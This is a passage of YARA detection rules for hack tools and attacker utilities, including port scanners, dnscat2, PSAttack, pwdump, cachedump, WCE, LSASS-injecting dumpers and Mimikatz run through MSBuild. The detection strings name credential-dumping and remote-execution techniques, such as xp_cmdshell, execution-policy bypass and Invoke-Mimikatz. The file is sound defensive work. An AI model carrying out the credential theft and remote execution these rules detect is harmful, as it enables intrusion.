rule LinuxHacktool_eyes_pscan2_2
{
	meta:
		description = "Linux hack tools - file pscan2.c"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "not set"
		date = "2015/01/19"
		hash = "eb024dfb441471af7520215807c34d105efa5fd8"
		id = "3950b235-70bc-5afd-add5-38c50055b28b"

	strings:
		$s0 = "snprintf(outfile, sizeof(outfile) - 1, \"scan.log\", argv[1], argv[2]);" fullword ascii
		$s2 = "printf(\"Usage: %s <b-block> <port> [c-block]\\n\", argv[0]);" fullword ascii
		$s3 = "printf(\"\\n# pscan completed in %u seconds. (found %d ips)\\n\", (time(0) - sca" ascii
		$s19 = "connlist[i].addr.sin_family = AF_INET;" fullword ascii
		$s20 = "snprintf(last, sizeof(last) - 1, \"%s.%d.* (total: %d) (%.1f%% done)\"," fullword ascii

	condition:
		2 of them
}

rule CN_Portscan : APT
{
	meta:
		description = "CN Port Scanner"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2013-11-29"
		confidential = false
		score = 70
		id = "fb52a89a-2270-5170-9874-9278a0177454"

	strings:
		$s2 = "TCP 12.12.12.12"

	condition:
		uint16( 0 ) == 0x5A4D and $s2
}

rule WMI_vbs : APT
{
	meta:
		description = "WMI Tool - APT"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2013-11-29"
		confidential = false
		score = 70
		id = "b367306a-38d8-5f4d-8f09-2bf025831f0a"

	strings:
		$s3 = "WScript.Echo \"   $$\\      $$\\ $$\\      $$\\ $$$$$$\\ $$$$$$$$\\ $$\\   $$\\ $$$$$$$$\\  $$$$$$"

	condition:
		all of them
}

rule CN_Toolset__XScanLib_XScanLib_XScanLib
{
	meta:
		description = "Detects a Chinese hacktool from a disclosed toolset - from files XScanLib.dll, XScanLib.dll, XScanLib.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://qiannao.com/ls/905300366/33834c0c/"
		date = "2015/03/30"
		score = 70
		super_rule = 1
		hash0 = "af419603ac28257134e39683419966ab3d600ed2"
		hash1 = "c5cb4f75cf241f5a9aea324783193433a42a13b0"
		hash2 = "135f6a28e958c8f6a275d8677cfa7cb502c8a822"
		id = "c32415f4-044c-50ef-9c4c-b9327cbcef69"

	strings:
		$s1 = "Plug-in thread causes an exception, failed to alert user." fullword
		$s2 = "PlugGetUdpPort" fullword
		$s3 = "XScanLib.dll" fullword
		$s4 = "PlugGetTcpPort" fullword
		$s11 = "PlugGetVulnNum" fullword

	condition:
		all of them
}

rule CN_Toolset_NTscan_PipeCmd
{
	meta:
		description = "Detects a Chinese hacktool from a disclosed toolset - file PipeCmd.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://qiannao.com/ls/905300366/33834c0c/"
		date = "2015/03/30"
		score = 70
		hash = "a931d65de66e1468fe2362f7f2e0ee546f225c4e"
		id = "056ee42d-23f4-5b03-b240-392bc92b90b0"

	strings:
		$s2 = "Please Use NTCmd.exe Run This Program." fullword ascii
		$s3 = "PipeCmd.exe" fullword wide
		$s4 = "\\\\.\\pipe\\%s%s%d" fullword ascii
		$s5 = "%s\\pipe\\%s%s%d" fullword ascii
		$s6 = "%s\\ADMIN$\\System32\\%s%s" fullword ascii
		$s7 = "%s\\ADMIN$\\System32\\%s" fullword ascii
		$s9 = "PipeCmdSrv.exe" fullword ascii
		$s10 = "This is a service executable! Couldn't start directly." fullword ascii
		$s13 = "\\\\.\\pipe\\PipeCmd_communicaton" fullword ascii
		$s14 = "PIPECMDSRV" fullword wide
		$s15 = "PipeCmd Service" fullword ascii

	condition:
		4 of them
}

rule CN_Toolset_LScanPortss_2
{
	meta:
		description = "Detects a Chinese hacktool from a disclosed toolset - file LScanPortss.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://qiannao.com/ls/905300366/33834c0c/"
		date = "2015/03/30"
		score = 70
		hash = "4631ec57756466072d83d49fbc14105e230631a0"
		id = "0a796585-5fc8-5b55-acfc-3fe87308b681"

	strings:
		$s1 = "LScanPort.EXE" fullword wide
		$s3 = "www.honker8.com" fullword wide
		$s4 = "DefaultPort.lst" fullword ascii
		$s5 = "Scan over.Used %dms!" fullword ascii
		$s6 = "www.hf110.com" fullword wide
		$s15 = "LScanPort Microsoft " fullword wide
		$s18 = "L-ScanPort2.0 CooFly" fullword wide

	condition:
		4 of them
}

rule CN_Toolset_sig_1433_135_sqlr
{
	meta:
		description = "Detects a Chinese hacktool from a disclosed toolset - file sqlr.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://qiannao.com/ls/905300366/33834c0c/"
		date = "2015/03/30"
		score = 70
		hash = "8542c7fb8291b02db54d2dc58cd608e612bfdc57"
		id = "74038975-ef06-53d6-bdcc-02706408b596"

	strings:
		$s0 = "Connect to %s MSSQL server success. Type Command at Prompt." fullword ascii
		$s11 = ";DATABASE=master" fullword ascii
		$s12 = "xp_cmdshell '" fullword ascii
		$s14 = "SELECT * FROM OPENROWSET('SQLOLEDB','Trusted_Connection=Yes;Data Source=myserver" ascii

	condition:
		all of them
}

rule DarkComet_Keylogger_File
{
	meta:
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		description = "Looks like a keylogger file created by DarkComet Malware"
		date = "25.07.14"
		score = 50
		id = "65058450-3ae3-5b85-bcc5-8bc1fab14614"

	strings:
		$entry = /\n:: [A-Z]/
		$timestamp = /\([0-9]?[0-9]:[0-9][0-9]:[0-9][0-9] [AP]M\)/

	condition:
		uint16( 0 ) == 0x3A3A and #entry > 10 and #timestamp > 10
}

rule VSSown_VBS
{
	meta:
		description = "Detects VSSown.vbs script - used to export shadow copy elements like NTDS to take away and crack elsewhere"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2015-10-01"
		score = 75
		id = "ffbb5faf-3522-50dc-a568-503074ac0636"

	strings:
		$s0 = "Select * from Win32_Service Where Name ='VSS'" ascii
		$s1 = "Select * From Win32_ShadowCopy" ascii
		$s2 = "cmd /C mklink /D " ascii
		$s3 = "ClientAccessible" ascii
		$s4 = "WScript.Shell" ascii
		$s5 = "Win32_Process" ascii

	condition:
		all of them
}

rule Netview_Hacktool
{
	meta:
		description = "Network domain enumeration tool - often used by attackers - file Nv.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/mubix/netview"
		date = "2016-03-07"
		score = 60
		hash = "52cec98839c3b7d9608c865cfebc904b4feae0bada058c2e8cdbd561cfa1420a"
		id = "087e2fd7-726e-5c6b-ba99-e20dd3337d6a"

	strings:
		$s1 = "[+] %ws - Target user found - %s\\%s" fullword wide
		$s2 = "[*] -g used without group specified - using \"Domain Admins\"" fullword ascii
		$s3 = "[*] -i used without interval specified - ignoring" fullword ascii
		$s4 = "[+] %ws - Session - %s from %s - Active: %d - Idle: %d" fullword wide
		$s5 = "[+] %ws - Backup Domain Controller" fullword wide
		$s6 = "[-] %ls - Share - Error: %ld" fullword wide
		$s7 = "[-] %ls - Session - Error: %ld" fullword wide
		$s8 = "[+] %s - OS Version - %d.%d" fullword ascii
		$s9 = "Enumerating Logged-on Users" fullword ascii
		$s10 = ": Specifies a domain to pull a list of hosts from" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 500KB and 2 of them ) or 3 of them
}

rule Netview_Hacktool_Output
{
	meta:
		description = "Network domain enumeration tool output - often used by attackers - file filename.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/mubix/netview"
		date = "2016-03-07"
		score = 60
		id = "259db870-6293-5a55-b56a-f981c060c18f"

	strings:
		$s1 = "[*] Using interval:" fullword
		$s2 = "[*] Using jitter:" fullword
		$s3 = "[+] Number of hosts:" fullword

	condition:
		2 of them
}

rule PSAttack_EXE
{
	meta:
		description = "PSAttack - Powershell attack tool - file PSAttack.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/gdssecurity/PSAttack/releases/"
		date = "2016-03-09"
		modified = "2023-01-06"
		score = 100
		hash = "ad05d75640c850ee7eeee26422ba4f157be10a4e2d6dc6eaa19497d64cf23715"
		id = "87f7956a-f607-5e14-a940-5080499cf682"

	strings:
		$x1 = "\\Release\\PSAttack.pdb"
		$s1 = "set-executionpolicy bypass -Scope process -Force" fullword wide
		$s2 = "PSAttack.Modules." ascii
		$s3 = "PSAttack.PSAttackProcessing" fullword ascii
		$s4 = "PSAttack.Modules.key.txt" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and ( $x1 or 2 of ( $s* ) ) ) or 3 of them
}

rule Powershell_Attack_Scripts
{
	meta:
		description = "Powershell Attack Scripts"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2016-03-09"
		score = 70
		id = "e8c4a672-229b-56c8-811b-071ae9ff341e"

	strings:
		$s1 = "PowershellMafia\\Invoke-Shellcode.ps1" ascii
		$s2 = "Nishang\\Do-Exfiltration.ps1" ascii
		$s3 = "PowershellMafia\\Invoke-Mimikatz.ps1" ascii
		$s4 = "Inveigh\\Inveigh.ps1" ascii

	condition:
		1 of them
}

rule PSAttack_ZIP
{
	meta:
		description = "PSAttack - Powershell attack tool - file PSAttack.zip"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/gdssecurity/PSAttack/releases/"
		date = "2016-03-09"
		score = 100
		hash = "3864f0d44f90404be0c571ceb6f95bbea6c527bbfb2ec4a2b4f7d92e982e15a2"
		id = "4e064eb4-0b87-590c-9ee4-6764b982c006"

	strings:
		$s0 = "PSAttack.exe" fullword ascii

	condition:
		uint16( 0 ) == 0x4b50 and all of them
}

rule Linux_Portscan_Shark_1
{
	meta:
		description = "Detects Linux Port Scanner Shark"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Virustotal Research - see https://github.com/Neo23x0/Loki/issues/35"
		date = "2016-04-01"
		super_rule = 1
		hash1 = "4da0e535c36c0c52eaa66a5df6e070c52e7ddba13816efc3da5691ea2ec06c18"
		hash2 = "e395ca5f932419a4e6c598cae46f17b56eb7541929cdfb67ef347d9ec814dea3"
		id = "0b264106-3536-56f4-9e8c-68f3756af07d"

	strings:
		$s0 = "rm -rf scan.log session.txt" fullword ascii
		$s17 = "*** buffer overflow detected ***: %s terminated" fullword ascii
		$s18 = "*** stack smashing detected ***: %s terminated" fullword ascii

	condition:
		( uint16( 0 ) == 0x7362 and all of them )
}

rule Linux_Portscan_Shark_2
{
	meta:
		description = "Detects Linux Port Scanner Shark"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Virustotal Research - see https://github.com/Neo23x0/Loki/issues/35"
		date = "2016-04-01"
		super_rule = 1
		hash1 = "5f80bd2db608a47e26290f3385eeb5bfc939d63ba643f06c4156704614def986"
		hash2 = "90af44cbb1c8a637feda1889d301d82fff7a93b0c1a09534909458a64d8d8558"
		id = "eea378d5-0399-5035-8573-139878fa1abc"

	strings:
		$s1 = "usage: %s <fisier ipuri> <fisier useri:parole> <connect timeout> <fail2ban wait> <threads> <outfile> <port>" fullword ascii
		$s2 = "Difference between server modulus and host modulus is only %d. It's illegal and may not work" fullword ascii
		$s3 = "rm -rf scan.log" fullword ascii

	condition:
		all of them
}

rule dnscat2_Hacktool
{
	meta:
		description = "Detects dnscat2 - from files dnscat, dnscat2.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://downloads.skullsecurity.org/dnscat2/"
		date = "2016-05-15"
		super_rule = 1
		hash1 = "8bc8d6c735937c9c040cbbdcfc15f17720a7ecef202a19a7bf43e9e1c66fe66a"
		hash2 = "4a882f013419695c8c0ac41d8a0fde1cf48172a89e342c504138bc6f1d13c7c8"
		id = "23cca0fe-3e4e-5b91-8b53-933de8ff264a"

	strings:
		$s1 = "--exec -e <process>     Execute the given process and link it to the stream." fullword ascii
		$s2 = "Sawlog" fullword ascii
		$s3 = "COMMAND_EXEC [request] :: request_id: 0x%04x :: name: %s :: command: %s" fullword ascii
		$s4 = "COMMAND_SHELL [request] :: request_id: 0x%04x :: name: %s" fullword ascii
		$s5 = "[Tunnel %d] connection to %s:%d closed by the server!" fullword ascii

	condition:
		(( uint16( 0 ) == 0x457f or uint16( 0 ) == 0x5a4d ) and filesize < 400KB and ( 2 of ( $s* ) ) ) or ( all of them )
}

rule WCE_in_memory
{
	meta:
		description = "Detects Windows Credential Editor (WCE) in memory (and also on disk)"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		score = 80
		date = "2016-08-28"
		id = "90c90ca5-e3be-5035-b35c-c2e7faec43a5"

	strings:
		$s1 = "wkKUSvflehHr::o:t:s:c:i:d:a:g:" fullword ascii
		$s2 = "wceaux.dll" fullword ascii

	condition:
		all of them
}

rule pstgdump
{
	meta:
		description = "Detects a tool used by APT groups - file pstgdump.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://goo.gl/igxLyF"
		date = "2016-09-08"
		hash1 = "65d48a2f868ff5757c10ed796e03621961954c523c71eac1c5e044862893a106"
		id = "86a105a3-b5b5-58b2-99bd-ec05f31adb6b"

	strings:
		$x1 = "\\Release\\pstgdump.pdb" ascii
		$x2 = "Failed to dump all protected storage items - see previous messages for details" fullword ascii
		$x3 = "ptsgdump [-h][-q][-u Username][-p Password]" fullword ascii
		$x4 = "Attempting to impersonate domain user '%s' in domain '%s'" fullword ascii
		$x5 = "Failed to impersonate user (ImpersonateLoggedOnUser failed): error %d" fullword ascii
		$x6 = "Unable to obtain handle to PStoreCreateInstance in pstorec.dll" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and 1 of ( $x* ) ) or ( 3 of them )
}

rule lsremora
{
	meta:
		description = "Detects a tool used by APT groups"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://goo.gl/igxLyF"
		date = "2016-09-08"
		hash1 = "efa66f6391ec471ca52cd053159c8a8778f11f921da14e6daf76387f8c9afcd5"
		hash2 = "e0327c1218fd3723e20acc780e20135f41abca35c35e0f97f7eccac265f4f44e"
		id = "c15c583f-70cd-5a80-bdea-a14582097e50"

	strings:
		$x1 = "Target: Failed to load primary SAM functions." fullword ascii
		$x2 = "lsremora64.dll" fullword ascii
		$x3 = "PwDumpError:999999" fullword wide
		$x4 = "PwDumpError" fullword wide
		$x5 = "lsremora.dll" fullword ascii
		$s1 = ":\\\\.\\pipe\\%s" fullword ascii
		$s2 = "x%s_history_%d:%d" fullword wide
		$s3 = "Using pipe %s" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and 1 of ( $x* ) ) or ( 3 of them )
}

rule servpw
{
	meta:
		description = "Detects a tool used by APT groups - file servpw.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://goo.gl/igxLyF"
		date = "2016-09-08"
		hash1 = "97b39ac28794a7610ed83ad65e28c605397ea7be878109c35228c126d43e2f46"
		hash2 = "0f340b471ef34c69f5413540acd3095c829ffc4df38764e703345eb5e5020301"
		id = "48b9dae1-16b3-563c-ac4e-b71f3a86b38a"

	strings:
		$s1 = "Unable to open target process: %d, pid %d" fullword ascii
		$s2 = "LSASS.EXE" fullword wide
		$s3 = "WriteProcessMemory failed: %d" fullword ascii
		$s4 = "lsremora64.dll" fullword ascii
		$s5 = "CreateRemoteThread failed: %d" fullword ascii
		$s6 = "Thread code: %d, path: %s" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and 3 of them ) or ( all of them )
}

rule fgexec
{
	meta:
		description = "Detects a tool used by APT groups - file fgexec.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://goo.gl/igxLyF"
		date = "2016-09-08"
		hash1 = "8697897bee415f213ce7bc24f22c14002d660b8aaffab807490ddbf4f3f20249"
		id = "8ffe47b9-81a8-5eb4-b46f-db9d23682de4"

	strings:
		$x1 = "\\Release\\fgexec.pdb" ascii
		$x2 = "fgexec Remote Process Execution Tool" fullword ascii
		$x3 = "fgexec CallNamedPipe failed" fullword ascii
		$x4 = "fizzgig and the mighty foofus.net team" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 100KB and 1 of ( $x* ) ) or ( 3 of them )
}

rule cachedump
{
	meta:
		description = "Detects a tool used by APT groups - from files cachedump.exe, cachedump64.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://goo.gl/igxLyF"
		date = "2016-09-08"
		super_rule = 1
		hash1 = "cf58ca5bf8c4f87bb67e6a4e1fb9e8bada50157dacbd08a92a4a779e40d569c4"
		hash2 = "e38edac8c838a043d0d9d28c71a96fe8f7b7f61c5edf69f1ce0c13e141be281f"
		id = "ebcaeb73-d2df-5a4c-9f50-b4a01293b88b"

	strings:
		$s1 = "Failed to open key SECURITY\\Cache in RegOpenKeyEx. Is service running as SYSTEM ? Do you ever log on domain ? " fullword ascii
		$s2 = "Unable to open LSASS.EXE process" fullword ascii
		$s3 = "Service not found. Installing CacheDump Service (%s)" fullword ascii
		$s4 = "CacheDump service successfully installed." fullword ascii
		$s5 = "Kill CacheDump service (shouldn't be used)" fullword ascii
		$s6 = "cacheDump [-v | -vv | -K]" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 500KB and 1 of them ) or ( 3 of them )
}

rule PwDump_B
{
	meta:
		description = "Detects a tool used by APT groups - file PwDump.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://goo.gl/igxLyF"
		date = "2016-09-08"
		hash1 = "3c796092f42a948018c3954f837b4047899105845019fce75a6e82bc99317982"
		id = "aad974f1-76bf-5aae-8376-a4fd3f27b345"

	strings:
		$x1 = "Usage: %s [-x][-n][-h][-o output_file][-u user][-p password][-s share] machineName" fullword ascii
		$x2 = "pwdump6 Version %s by fizzgig and the mighty group at foofus.net" fullword ascii
		$x3 = "where -x targets a 64-bit host" fullword ascii
		$x4 = "Couldn't delete target executable from remote machine: %d" fullword ascii
		$s1 = "lsremora64.dll" fullword ascii
		$s2 = "lsremora.dll" fullword ascii
		$s3 = "servpw.exe" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 400KB and 1 of ( $x* ) ) or ( 3 of them )
}

rule MSBuild_Mimikatz_Execution_via_XML
{
	meta:
		description = "Detects an XML that executes Mimikatz on an endpoint via MSBuild"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://gist.github.com/subTee/c98f7d005683e616560bda3286b6a0d8#file-katz-xml"
		date = "2016-10-07"
		id = "98aa68b9-6de4-5353-8d87-9e974529c044"

	strings:
		$x1 = "<Project ToolsVersion=" ascii
		$x2 = "</SharpLauncher>" fullword ascii
		$s1 = "\"TVqQAAMAAAA" ascii
		$s2 = "System.Convert.FromBase64String(" ascii
		$s3 = ".Invoke(" ascii
		$s4 = "Assembly.Load(" ascii
		$s5 = ".CreateInstance(" ascii

	condition:
		all of them
}

rule Fscan_Portscanner
{
	meta:
		description = "Fscan port scanner scan output / strings"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/JamesHabben/status/817112447970480128"
		date = "2017-01-06"
		id = "400383dc-8bc0-5e77-a3f3-d6ba9f4c3c0f"

	strings:
		$s1 = "Time taken:" fullword ascii
		$s2 = "Scan finished at" fullword ascii
		$s3 = "Scan started at" fullword ascii

	condition:
		filesize < 20KB and 3 of them
}

rule WPR_loader_EXE
{
	meta:
		description = "Windows Password Recovery - file loader.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-03-15"
		hash1 = "e7d158d27d9c14a4f15a52ee5bf8aa411b35ad510b1b93f5e163ae7819c621e2"
		id = "97fa3efb-9e7a-52ef-9e26-3fdd573d4d30"

	strings:
		$s1 = "Failed to get system process ID" fullword wide
		$s2 = "gLSASS.EXE" fullword wide
		$s3 = "WriteProcessMemory failed" fullword wide
		$s4 = "wow64 process NOT created" fullword wide
		$s5 = "\\ast.exe" wide
		$s6 = "Exit code=%s, status=%d" fullword wide
		$s7 = "VirtualProtect failed" fullword wide
		$s8 = "nSeDebugPrivilege" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 100KB and 3 of them )
}

rule WPR_loader_DLL
{
	meta:
		description = "Windows Password Recovery - file loader64.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-03-15"
		hash1 = "7b074cb99d45fc258e0324759ee970467e0f325e5d72c0b046c4142edc6776f6"
		hash2 = "a1f27f7fd0e03601a11b66d17cfacb202eacf34f94de3c4e9d9d39ea8d1a2612"
		id = "d3102ab6-0473-544b-b9dd-ec7a18ae1c4b"

	strings:
		$x1 = "loader64.dll" fullword ascii
		$x2 = "loader.dll" fullword ascii
		$s1 = "TUlDUk9TT0ZUX0FVVEhFTlRJQ0FUSU9OX1BBQ0tBR0VfVjFfMA==" fullword ascii
		$s2 = "UmVtb3RlRGVza3RvcEhlbHBBc3Npc3RhbnRBY2NvdW50" fullword ascii
		$s3 = "U2FtSVJldHJpZXZlUHJpbWFyeUNyZWRlbnRpYWxz" fullword ascii
		$s4 = "VFM6SW50ZXJuZXRDb25uZWN0b3JQc3dk" fullword ascii
		$s5 = "TCRVRUFjdG9yQWx0Q3JlZFByaXZhdGVLZXk=" fullword ascii
		$s6 = "YXNwbmV0X1dQX1BBU1NXT1JE" fullword ascii
		$s7 = "TCRBTk1fQ1JFREVOVElBTFM=" fullword ascii
		$s8 = "RGVmYXVsdFBhc3N3b3Jk" fullword ascii
		$op0 = { 48 8b cd e8 e0 e8 ff ff 48 89 07 48 85 c0 74 72 }
		$op1 = { e8 ba 23 00 00 33 c9 ff 15 3e 82 }
		$op2 = { 48 83 c4 28 e9 bc 55 ff ff 48 8d 0d 4d a7 00 00 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and ( ( 1 of ( $x* ) and 1 of ( $s* ) ) or ( 1 of ( $s* ) and all of ( $op* ) ) )
}

rule WPR_Passscape_Loader
{
	meta:
		description = "Windows Password Recovery - file ast.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-03-15"
		hash1 = "f6f2d4b9f19f9311ec419f05224a1c17cf2449f2027cb7738294479eea56e9cb"
		id = "d8e224ce-edd2-5e2d-9b6e-a8995f5d2c1c"

	strings:
		$s1 = "SYSTEM\\CurrentControlSet\\Services\\PasscapeLoader64" fullword wide
		$s2 = "ast64.dll" fullword ascii
		$s3 = "\\loader64.exe" wide
		$s4 = "Passcape 64-bit Loader Service" fullword wide
		$s5 = "PasscapeLoader64" fullword wide
		$s6 = "ast64 {msg1GkjN7Sh8sg2Al7ker63f}" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and 2 of them )
}

rule WPR_Asterisk_Hook_Library
{
	meta:
		description = "Windows Password Recovery - file ast64.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-03-15"
		hash1 = "225071140e170a46da0e57ce51f0838f4be00c8f14e9922c6123bee4dffde743"
		hash2 = "95ec84dc709af990073495082d30309c42d175c40bd65cad267e6f103852a02d"
		id = "03c20c9d-bb8f-53f6-9cb5-9b059fb24949"

	strings:
		$s1 = "ast64.dll" fullword ascii
		$s2 = "ast.dll" fullword wide
		$s3 = "c:\\%s.lvc" fullword ascii
		$s4 = "c:\\%d.lvc" fullword ascii
		$s5 = "Asterisk Hook Library" fullword wide
		$s6 = "?Ast_StartRd64@@YAXXZ" fullword ascii
		$s7 = "Global\\{1374821A-281B-9AF4-%04X-12345678901234}" fullword ascii
		$s8 = "2004-2013 Passcape Software" fullword wide
		$s9 = "Global\\Passcape#6712%04X" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and 3 of them )
}

rule WPR_WindowsPasswordRecovery_EXE
{
	meta:
		description = "Windows Password Recovery - file wpr.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-03-15"
		hash1 = "c1c64cba5c8e14a1ab8e9dd28828d036581584e66ed111455d6b4737fb807783"
		id = "7fa2062c-75dd-55aa-8775-631a9c1a497e"

	strings:
		$x1 = "UuPipe" fullword ascii
		$x2 = "dbadllgl" fullword ascii
		$x3 = "UkVHSVNUUlkgTU9O" fullword ascii
		$x4 = "RklMRSBNT05JVE9SIC0gU1l" fullword ascii
		$s1 = "WPR.exe" fullword wide
		$s2 = "Windows Password Recovery" fullword wide
		$op0 = { 5f df 27 17 89 }
		$op1 = { 5f 00 00 f2 e5 cb 97 }
		$op2 = { e8 ed 00 f0 cc e4 00 a0 17 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 20000KB and ( 1 of ( $x* ) or all of ( $s* ) or all of ( $op* ) )
}

rule WPR_WindowsPasswordRecovery_EXE_64
{
	meta:
		description = "Windows Password Recovery - file ast64.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-03-15"
		hash1 = "4e1ea81443b34248c092b35708b9a19e43a1ecbdefe4b5180d347a6c8638d055"
		id = "0f6c7695-e616-5757-b9cd-8cff5f972c3e"

	strings:
		$s1 = "%B %d %Y  -  %H:%M:%S" fullword wide
		$op0 = { 48 8d 8c 24 50 22 00 00 e8 bf eb ff ff 4c 8b c7 }
		$op1 = { ff 15 16 25 01 00 f7 d8 1b }
		$op2 = { e8 c2 26 00 00 83 20 00 83 c8 ff 48 8b 5c 24 30 }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them )
}

rule BeyondExec_RemoteAccess_Tool
{
	meta:
		description = "Detects BeyondExec Remote Access Tool - file rexesvr.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/BvYurS"
		date = "2017-03-17"
		hash1 = "3d3e3f0708479d951ab72fa04ac63acc7e5a75a5723eb690b34301580747032c"
		id = "fd68cb45-a46f-53d7-bf52-8f7bd3636d0d"

	strings:
		$x1 = "\\BeyondExecV2\\Server\\Release\\Pipes.pdb" ascii
		$x2 = "\\\\.\\pipe\\beyondexec%d-stdin" fullword ascii
		$x3 = "Failed to create dispatch pipe. Do you have another instance running?" fullword ascii
		$op1 = { 83 e9 04 72 0c 83 e0 03 03 c8 ff 24 85 80 6f 40 }
		$op2 = { 6a 40 33 c0 59 bf e0 d8 40 00 f3 ab 8d 0c 52 c1 }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and ( 1 of ( $x* ) or all of ( $op* ) ) ) or ( 3 of them )
}

rule Mimikatz_Gen_Strings
{
	meta:
		description = "Detects Mimikatz by using some special strings"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-06-19"
		super_rule = 1
		hash1 = "058cc8b3e4e4055f3be460332a62eb4cbef41e3a7832aceb8119fd99fea771c4"
		hash2 = "eefd4c038afa0e80cf6521c69644e286df08c0883f94245902383f50feac0f85"
		hash3 = "f35b589c1cc1c98c4c4a5123fd217bdf0d987c00d2561992cbfb94bd75920159"
